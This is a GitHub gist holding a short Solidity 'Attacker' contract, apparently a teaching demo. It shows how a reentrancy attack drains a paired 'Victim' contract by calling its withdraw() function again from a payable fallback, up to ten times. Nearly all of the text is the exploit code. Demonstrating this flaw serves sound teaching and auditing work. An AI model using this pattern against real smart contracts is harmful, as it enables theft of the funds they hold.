Created
October 8, 2017 21:14
-
-
Save devonwesley/ef444dc0715438b21446bd1993c86c4d to your computer and use it in GitHub Desktop.
This is an "Attacker"s smart contract that drains the balance of a "Victim"s contract that it calls recursively.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.8; | |
import './Victim.sol'; | |
contract Attacker { | |
Victim v; | |
uint public count; | |
event LogFallback(uint c, uint balance); | |
function Attacker(address victim) { | |
v = Victim(victim); | |
} | |
function attack() { | |
v.withdraw(); | |
} | |
function () payable { | |
count++; | |
LogFallback(count, this.balance); | |
if (count < 10) { | |
v.withdraw(); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment